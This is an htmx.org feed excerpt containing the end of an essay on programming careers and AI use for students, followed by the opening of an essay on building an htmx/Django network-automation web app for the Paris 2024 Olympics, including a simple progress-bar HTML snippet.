&lt;p&gt;And if you want to read the code you must write the code.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ai-is-a-great-ta&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#ai-is-a-great-ta&quot; aria-label=&quot;Anchor link for: ai-is-a-great-ta&quot;&gt;AI is a great TA&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another thing that I tell my students is that AI, used properly, is a tremendously effective TA.  If you don’t use it
as a code-generator but rather as a partner to help you understand concepts and techniques, it can provide a huge boost
to your intellectual development.&lt;&#x2F;p&gt;
&lt;p&gt;One of the most difficult things when learning computer programming is getting “stuck”.  You just don’t see the trick
or know where to even start well enough to make progress.&lt;&#x2F;p&gt;
&lt;p&gt;Even worse is when you get stuck due to accidental complexity: you don’t know how to work with a particular tool chain
or even what a tool chain is.&lt;&#x2F;p&gt;
&lt;p&gt;This isn’t a problem with &lt;em&gt;you&lt;&#x2F;em&gt;, this is a problem with your environment.  Getting stuck pointlessly robs you of time to
actually be learning and often knocks people out of computer science.&lt;&#x2F;p&gt;
&lt;p&gt;(I got stuck trying to learn Unix on my own at Berkeley, which is one reason I dropped out of the computer science
program there.)&lt;&#x2F;p&gt;
&lt;p&gt;AI can help you get past these roadblocks, and can be a great TA if used correctly.  I have posted an
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;1cg&#x2F;a6c6f2276a1fe5ee172282580a44a7ac&quot;&gt;AGENTS.md&lt;&#x2F;a&gt; file that I provide to my students to configure
coding agents to behave like a great TA, rather than a code generator, and I encourage them to use AI in this role.&lt;&#x2F;p&gt;
&lt;p&gt;AI doesn’t &lt;em&gt;have&lt;&#x2F;em&gt; to be a detriment to your ability to grow as a computer programmer, so long as it is used
appropriately.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;and&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#and&quot; aria-label=&quot;Anchor link for: and&quot;&gt;“, and…”&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I do think AI is going to change computer programming.  Not as dramatically as some people think, but in some
fundamental ways.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;raw-coding-may-become-less-important&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#raw-coding-may-become-less-important&quot; aria-label=&quot;Anchor link for: raw-coding-may-become-less-important&quot;&gt;Raw coding may become less important&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;It may be that the &lt;em&gt;act&lt;&#x2F;em&gt; of coding will lose &lt;em&gt;relative&lt;&#x2F;em&gt; value.&lt;&#x2F;p&gt;
&lt;p&gt;I regard this as too bad: I usually like the act of coding, it is fun to make something do something with your
(metaphorical) bare hands.  There is an art and satisfaction to writing code well, and lots of aesthetic decisions to be
made doing it.&lt;&#x2F;p&gt;
&lt;p&gt;However, it does appear that raw code writing prowess may be less important in the future.&lt;&#x2F;p&gt;
&lt;p&gt;As this becomes relatively less important, it seems to me that other skills will become more important.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;communication-skills&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#communication-skills&quot; aria-label=&quot;Anchor link for: communication-skills&quot;&gt;Communication Skills&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;For example, the ability to write, think and communicate clearly, both with LLMs and humans seems likely to be much more
important in the future.  Many computer programmers have a literary bent anyway, and this is a skill that will likely
increase in value over time and is worth working on.&lt;&#x2F;p&gt;
&lt;p&gt;Reading books and writing essays&#x2F;blog posts seem like activities likely to help in this regard.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;understanding-business&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#understanding-business&quot; aria-label=&quot;Anchor link for: understanding-business&quot;&gt;Understanding Business&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another thing you can work on is turning some of your mental energy towards understanding a business (or government
role, etc) better.&lt;&#x2F;p&gt;
&lt;p&gt;Computer programming is about solving problems with computers and businesses have plenty of both of these.&lt;&#x2F;p&gt;
&lt;p&gt;Some business folks look at AI and say “Great, we don’t need programmers!”, but it seems just as plausible to me that
a programmer might say “Great, we don’t need business people!”&lt;&#x2F;p&gt;
&lt;p&gt;I think both of these views are short-sighted, but I do think that AI can give programmers the ability to continue
fundamentally working as a programmer while &lt;em&gt;also&lt;&#x2F;em&gt; investing more time in understanding the real-world problems (business or
otherwise) that they are solving.&lt;&#x2F;p&gt;
&lt;p&gt;This dovetails well with improving communication skills.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;architecting-systems&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#architecting-systems&quot; aria-label=&quot;Anchor link for: architecting-systems&quot;&gt;“Architecting” Systems&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Like many computer programmers, I am ambivalent towards the term “software architect.”  I have seen
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.joelonsoftware.com&#x2F;2001&#x2F;04&#x2F;21&#x2F;dont-let-architecture-astronauts-scare-you&#x2F;&quot;&gt;architect astronauts&lt;&#x2F;a&gt; inflict
a lot of pain on the world.&lt;&#x2F;p&gt;
&lt;p&gt;For lack of a better term, however, I think software architecture will become a more important skill over time: the
ability to organize large software systems effectively and, crucially, to control the complexity of those systems.&lt;&#x2F;p&gt;
&lt;p&gt;A tough part of this for juniors is that traditionally the ability to architect larger solutions well has come from
experience building smaller parts of systems, first poorly then, over time, more effectively.&lt;&#x2F;p&gt;
&lt;p&gt;Most bad architects I have met were either bad coders or simply didn’t have much coding experience at all.&lt;&#x2F;p&gt;
&lt;p&gt;If you let AI take over as a code generator for the “simple” stuff, how are you going to develop the intuitions necessary
to be an effective architect?&lt;&#x2F;p&gt;
&lt;p&gt;This is why, again, you must write the code.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;using-llms-effectively&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-llms-effectively&quot; aria-label=&quot;Anchor link for: using-llms-effectively&quot;&gt;Using LLMs Effectively&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another skill that seems likely to increase in value (obviously) is knowing how to use LLMs effectively.  I think that
currently we are still in the process of figuring out what that means.&lt;&#x2F;p&gt;
&lt;p&gt;I also think that what this means varies by experience level.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;seniors&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#seniors&quot; aria-label=&quot;Anchor link for: seniors&quot;&gt;Seniors&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Senior programmers who already have a lot of experience from the pre-AI era are in a good spot to use LLMs effectively:
they know what “good” code looks like, they have experience with building larger systems and know what matters and
what doesn’t.  The danger with senior programmers is that they stop programming entirely and start suffering from
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.media.mit.edu&#x2F;publications&#x2F;your-brain-on-chatgpt&#x2F;&quot;&gt;brain rot&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Particularly dangerous is firing off prompts and then getting sucked into
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;theneverendingstory.fandom.com&#x2F;wiki&#x2F;The_Nothing&quot;&gt;The Eternal Scroll&lt;&#x2F;a&gt; while waiting.&lt;&#x2F;p&gt;
&lt;p&gt;Ask me how I know.&lt;&#x2F;p&gt;
&lt;p&gt;I typically try to use LLMs in the following way:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;To analyze existing code to better understand it and find issues and inconsistencies in it&lt;&#x2F;li&gt;
&lt;li&gt;To help organize my thoughts for larger projects I want to take on&lt;&#x2F;li&gt;
&lt;li&gt;To generate relatively small bits of code for systems I am working on&lt;&#x2F;li&gt;
&lt;li&gt;To generate code that I don’t enjoy writing (e.g. regular expressions &amp;amp; CSS)&lt;&#x2F;li&gt;
&lt;li&gt;To generate demos&#x2F;exploratory code that I am willing to throw away or don’t intend to maintain deeply&lt;&#x2F;li&gt;
&lt;li&gt;To suggest tests for a particular feature I am working on&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I try not to use LLMs to generate full solutions that I am going to need to support.  I will sometimes use LLMs alongside
my manual coding as I build out a solution to help me understand APIs and my options while coding.&lt;&#x2F;p&gt;
&lt;p&gt;I never let LLMs design the APIs to the systems I am building.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;juniors&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#juniors&quot; aria-label=&quot;Anchor link for: juniors&quot;&gt;Juniors&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Juniors are in a tougher spot.  I will say it again: you must write the code.&lt;&#x2F;p&gt;
&lt;p&gt;The temptation to vibe your way through problems is very, very high, but you will need to fight against that temptation.&lt;&#x2F;p&gt;
&lt;p&gt;Peers &lt;em&gt;will&lt;&#x2F;em&gt; be vibing their way through things and that will be annoying: you will need to work harder than they do,
and you may be criticized for being slow.  The work dynamics here are important to understand: if your company
prioritizes speed over understanding (as many are currently) you need to accept that and not get fired.&lt;&#x2F;p&gt;
&lt;p&gt;However, I think that this is a temporary situation and that soon companies are going to realize that vibe coding at
speed suffers from worse complexity explosion issues than well understood, deliberate coding does.&lt;&#x2F;p&gt;
&lt;p&gt;At that point I expect slower, more deliberate coding with AI assistance will be understood as the best way to utilize
this new technology.&lt;&#x2F;p&gt;
&lt;p&gt;Where AI &lt;em&gt;can&lt;&#x2F;em&gt; help juniors is in accelerating the road to senior developer by eliminating accidental complexity that often
trips juniors up.  As I said above, viewing AI as a useful although sometimes overly-eager helper rather than a servant
can be very effective in understanding the shape of code bases, what the APIs and techniques available for a particular
problem are, how a given build system or programming language works, etc.&lt;&#x2F;p&gt;
&lt;p&gt;But you must write the code.&lt;&#x2F;p&gt;
&lt;p&gt;And companies: you must let juniors write the code.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;getting-a-job-today&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#getting-a-job-today&quot; aria-label=&quot;Anchor link for: getting-a-job-today&quot;&gt;Getting a Job Today&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The questions I get around AI and programming fundamentally revolve around getting a decent job.&lt;&#x2F;p&gt;
&lt;p&gt;It is no secret that the programmer job market is bad right now, and I am seeing good CS students struggle to find
positions programming.&lt;&#x2F;p&gt;
&lt;p&gt;While I do not have a crystal ball, I believe this is a temporary rather than permanent situation.  The computer
programmer job market tends to be cyclical with booms and busts, and I believe we will recover from the current bust
at some point.&lt;&#x2F;p&gt;
&lt;p&gt;That’s cold comfort to someone looking for a job now, however, so I want to offer the specific job-seeking advice that
I give to my students.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;family-friends-family-of-friends&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#family-friends-family-of-friends&quot; aria-label=&quot;Anchor link for: family-friends-family-of-friends&quot;&gt;Family, Friends, Family of Friends&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;I view the online job sites as mostly pointless, especially for juniors.  They are a lottery and the chances of finding
a good job through them are low.  Since they are free they are probably still worth using, but they are not worth
investing a lot of time in.&lt;&#x2F;p&gt;
&lt;p&gt;A better approach is the four F’s: Family, Friends &amp;amp; Family of Friends.  Use your personal connections to find positions
at companies in which you have a competitive advantage of knowing people in the company.  Family is the strongest
possibility.  Friends are often good too.  Family of friends is weaker, but also worth asking about.  If you know or
are only a few degrees separated from someone at a company you have a much stronger chance of getting a job at that
company.&lt;&#x2F;p&gt;
&lt;p&gt;I stress to many students that this doesn’t mean your family has to work for Google or some other big tech company.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;All&lt;&#x2F;em&gt; companies of any significant size have problems that need to be solved using computers.  Almost every company over 100
people has some sort of development group, even if they don’t call it that.&lt;&#x2F;p&gt;
&lt;p&gt;As an example, I had a student who was struggling to find a job.  I asked what their parent did, and they said they worked
for Costco corporate.&lt;&#x2F;p&gt;
&lt;p&gt;I told them that they were in fact extremely lucky and that this was their ticket into a great company.&lt;&#x2F;p&gt;
&lt;p&gt;Maybe they don’t start as a “computer programmer” there, maybe they start as an analyst or some other role.  But the
ability to program on top of that role will be very valuable and likely set up a great career.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;So I still think pursuing computer programming as a career is a good idea.  The current job market is bad, no doubt, but
I think this is temporary.&lt;&#x2F;p&gt;
&lt;p&gt;I do think how computer programming is done is changing, and programmers should look at building up skills beyond
“pure” code-writing.  This has always been a good idea.&lt;&#x2F;p&gt;
&lt;p&gt;I don’t think programming is changing as dramatically as some people claim and I think the fundamentals of programming,
particularly writing good code and controlling complexity, will be perennially important.&lt;&#x2F;p&gt;
&lt;p&gt;I hope this essay is useful in answering that question, especially for junior programmers, and helps people feel
more confident entering a career that I have found very rewarding and expect to continue to do for a long time.&lt;&#x2F;p&gt;
&lt;p&gt;And companies: let the juniors write at least some of the code.  It is in your interest.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Building Critical Infrastructure with htmx: Network Automation for the Paris 2024 Olympics</title>
        <published>2026-01-16T00:00:00+00:00</published>
        <updated>2026-01-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            Rodolphe Trujillo
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/paris-2024-olympics-htmx-network-automation/"/>
        <id>https://htmx.org/essays/paris-2024-olympics-htmx-network-automation/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/paris-2024-olympics-htmx-network-automation/">&lt;h2 id=&quot;a-bit-of-background&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-bit-of-background&quot; aria-label=&quot;Anchor link for: a-bit-of-background&quot;&gt;A Bit of Background&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;During my 6 years at Cisco, I developed numerous web applications to assist network engineers with highly complex
operations, both in terms of the volume of tasks to accomplish and the rigor of procedures to follow. Networking is a
specialized field in its own right, where the slightest error can have disastrous consequences: a network failure, even
partial, can deprive millions of people of essential services like the ability to make a simple phone call.&lt;&#x2F;p&gt;
&lt;p&gt;This criticality imposes strict requirements on code meant for network operations: it must be reliable, readable, and
free of unnecessary frills. If there’s a problem, you need to be able to immediately trace the data flow and fix it on
the spot. That’s why, for years, I’ve used very few design patterns and banned function calls that call functions that
call functions, and so on. Beyond 2 levels of calls, I abstain.&lt;&#x2F;p&gt;
&lt;p&gt;Following this logic, I favor mature tools over the latest trends. Thus, the Django &#x2F; Celery &#x2F; SQLite stack had been in
my toolbox for a long time. But like everyone else in the 2010s, I built SPAs and had never heard of intercooler.js or
hypermedia, and I understood REST the way it’s commonly described pretty much everywhere.&lt;&#x2F;p&gt;
&lt;p&gt;For the JS framework, I made a conservative choice (and a marginal one, I know): I chose Ember.js. My motivations were
its strong backward compatibility during updates and native MVC support. This JS framework is excellent, and that’s
still my opinion.&lt;&#x2F;p&gt;
&lt;p&gt;After watching David Guillot’s presentation on HTMX at DjangoCon Europe 2022, I dug into the subject and prototyped a
component that addressed one of my recurring needs. It’s a kind of datatable on which you can trigger actions. There’s a
demo video on the HTMX Discord &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;discord.com&#x2F;channels&#x2F;725789699527933952&#x2F;909436816388669530&#x2F;1042451443656966234&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I was a beginner with HTMX and built it in 2-3 days (no AI :-) ). But what was interesting wasn’t so much having this
component quickly at hand : it was the 100% Django codebase. One codebase instead of two, one app to maintain, and no
more API contracts to manage between front and back.&lt;&#x2F;p&gt;
&lt;p&gt;And once again, even though I was comfortable with the Ember.js framework, having a single project to maintain changes
everything.&lt;&#x2F;p&gt;
&lt;p&gt;A few weeks later, a concrete use case came up for a major French ISP: configuring L2VPNs on brand-new routers, in bulk,
without configuration errors (obviously), based on configurations from old routers that were end-of-life and about to be
decommissioned. It was highly critical: a single router can handle thousands of clients, and… there are a lot of
routers.&lt;&#x2F;p&gt;
&lt;p&gt;From that point on, I used the Django &#x2F; Celery + HTMX + SQLite (and Hyperscript) stack and delivered the app in 5 weeks.
My goal was to guide the network engineer by the hand and spare them 100% of the repetitive, tedious work: they just had
to click and confirm, everything was handled. Their role was now limited to their expertise, and if there was a problem,
it was up to them to fix the network.&lt;&#x2F;p&gt;
&lt;p&gt;The project, initially estimated at 18 months, ultimately took 9. And we were lucky: there were no complex corner cases
to handle. And even if there had been, we had plenty of time to deal with them.&lt;&#x2F;p&gt;
&lt;p&gt;HTMX in all this?
If I had to develop the app as a SPA, it would have taken me at least twice as long. Why?
As a solo full-stack developer, simply switching back and forth between codebases is already time-consuming. And that’s
just the tip of the iceberg: the front&#x2F;back approach itself adds a layer of complexity that ends up weighing heavily on
productivity.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-at-the-olympic-games&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-at-the-olympic-games&quot; aria-label=&quot;Anchor link for: htmx-at-the-olympic-games&quot;&gt;HTMX at the Olympic Games&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The Paris 2024 Olympic Games network consisted of thousands of Cisco switches pre-configured to accept Wi-Fi access
points, which self-configured through an automation system developed by Orange and Cisco. Wi-Fi was the most common
connectivity mode at the Games. But in some cases, a physical connection was necessary, most often to plug in a video
camera, but not only. Sometimes there was simply no other choice but to rely on a cable to connect, and therefore to
configure the relevant switch port. That’s where an application became necessary.&lt;&#x2F;p&gt;
&lt;p&gt;When Pollux contacted me about his need, he already had a data model for his network services in a Django project.
Additionally, he could deploy services via CLI: part of the business logic was already in place. The problem was that
service deployment parameters needed to be consolidated in an application. In CLI, you have to manage different data
sources, which can quickly become complicated for the user. So it was necessary to centralize these business parameters
in a webapp, expose all the data needed to deploy a service, and provide a GUI to configure them.&lt;&#x2F;p&gt;
&lt;p&gt;The Games were approaching and Pollux didn’t have time to build the webapp: as the architect of the Olympic network, he
was overwhelmed by a colossal number of tasks. I showed him the L2VPN app mentioned above and specified the 5-week
delivery timeline. I told him that if it suited him, I could build him an HTMX webapp based on his existing Django
project and a Bootstrap CSS customized internally by Orange.&lt;&#x2F;p&gt;
&lt;p&gt;We agreed on an 8-week timeline to cover the need, which involved 3 connectivity services: Direct Internet Access,
Private VLAN, and Shared Internet Access.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;web-dev-with-htmx&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#web-dev-with-htmx&quot; aria-label=&quot;Anchor link for: web-dev-with-htmx&quot;&gt;Web Dev with HTMX&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;HTMX is somewhat a return to the roots of web development, and regardless of the web framework: Django, ROR, Symfony…
You rediscover everything that makes a web framework useful rather than turning it into a mere JSON provider. Sending
HTML directly to the browser, storing the app state directly in the HTML. That’s what true REST is, and it’s so much
simpler to manage.&lt;&#x2F;p&gt;
&lt;p&gt;If you ask me what’s most striking, it’s certainly returning to very simple things like this:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;center&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;paris-olympics-progress-bar.png&quot; alt=&quot;progress bar&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;center&gt;
&lt;figcaption&gt; Progress bar from RCP Portal &lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;How does this progress bar work?&lt;&#x2F;p&gt;
&lt;p&gt;Exactly like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;progress-bar&#x2F;&quot;&gt;the example in the docs&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
&lt;p&gt;Why this choice? Because it’s coded in 10 seconds, because the app won’t have thousands of users on this internal tool,
no scaling concerns: you can do good old data polling without any problem.&lt;&#x2F;p&gt;
&lt;p&gt;And the end user? If I use old-school polling, they don’t care: what they want is the information. No SSE or WebSocket
for this use case, I don’t need it. And if the need ever arises, the WebSocket (or SSE) plugin is easy to set up.&lt;&#x2F;p&gt;
&lt;p&gt;One of the big advantages of the philosophy surrounding HTMX is the notion of &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behaviour&lt;&#x2F;a&gt;. Let’s take this
progress bar: if you want to know how it works, just look at the page source. No need to go into documentation or the
codebase, just a right-click and “View Page Source”:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;job&#x2F;progress&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-trigger&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;every 600ms&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;this&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;innerHTML&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;progress&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;role&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;progressbar&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;aria-valuemin&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;0&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;aria-valuemax&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;100&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;aria-valuenow&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;0&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;aria-labelledby&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;pblabel&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;pb&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;progress-bar&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;style&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;width:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;0%&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You immediately know that every 600ms, this part of the page is updated with the content returned by the view handling
the &lt;code&gt;&#x2F;job&#x2F;progress&lt;&#x2F;code&gt; endpoint. No mystery for the team taking over development who wants to modify something: everything
you need to know is right in front of you.&lt;&#x2F;p&gt;
&lt;p&gt;And that’s exactly what HTMX is about: every component, every interaction remains visible, understandable, and
self-documented directly in the HTML. This is important for what comes next.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmx-is-ai-friendly-tm&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-is-ai-friendly-tm&quot; aria-label=&quot;Anchor link for: htmx-is-ai-friendly-tm&quot;&gt;HTMX is “AI friendly”™&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In the early stages of app development, I focused on the most complex network service: DIA (Direct Internet Access). DIA
for the Olympic Games meant many business parameters with many rules to apply.&lt;&#x2F;p&gt;
&lt;p&gt;The DIA creation form calls an endpoint that triggers a very long function, close to 600 lines of code.&lt;&#x2F;p&gt;
&lt;p&gt;Why such a long function?&lt;&#x2F;p&gt;
&lt;p&gt;Because it’s more readable and efficient to concentrate the data flow in one place, rather than dispersing it across a
multitude of layers and patterns.&lt;&#x2F;p&gt;
&lt;p&gt;An application is a wrapper around data: it orchestrates the data flow (data must flow!) and CRUD operations. But what
control do you retain when this flow is obfuscated in complex patterns or dispersed across 2 codebases?&lt;&#x2F;p&gt;
&lt;p&gt;The data flow must remain readable for the developer.&lt;&#x2F;p&gt;
&lt;p&gt;HTMX, by allowing you to manage the GUI directly server-side, makes this flow even clearer. The same endpoint can return
HTML fragments to signal that certain form data is invalid, or conversely indicate that a service deployment has
started. You can thus act on any part of the GUI within the same function, while transforming the data to pass it to the
system that configures the network switch.&lt;&#x2F;p&gt;
&lt;p&gt;In a traditional frontend&#x2F;backend approach, this would be more complex: two applications to manage, and a much less
readable data flow.&lt;&#x2F;p&gt;
&lt;p&gt;This drastic code simplification enabled by HTMX, combined with a procedural approach, produces compact and transparent
logic, easy to navigate for a developer… or for an LLM, as I discovered.&lt;&#x2F;p&gt;
&lt;p&gt;For the Private VLAN (PVLAN) network service, the “shape” of the main function is roughly the same as for DIA: input
parameters, validation, then interactions with the GUI via HTML fragments, and, if everything is correct, switch
configuration.&lt;&#x2F;p&gt;
&lt;p&gt;The difference? PVLAN is simpler to handle: fewer form parameters and a bit less business logic.&lt;&#x2F;p&gt;
&lt;p&gt;So I took the long DIA function and gave it to an LLM (Claude 3 had just been released), with a prompt specifying the
parameters specific to PVLAN. In seconds, Claude returned a new adapted function, and the same for the HTML templates.
Result: about 80% of the code was ready, with only a few points to correct and relatively few errors made by the LLM,
which freed up time for me to add specific business logic for a major client.&lt;&#x2F;p&gt;
&lt;p&gt;For the third network service, Shared Internet Access (SIA), even simpler than the previous two, I provided the LLM with
both the DIA and PVLAN functions. With the magic word &lt;em&gt;“extrapolation”&lt;&#x2F;em&gt; in the prompt, the generated code was 95%
correct.&lt;&#x2F;p&gt;
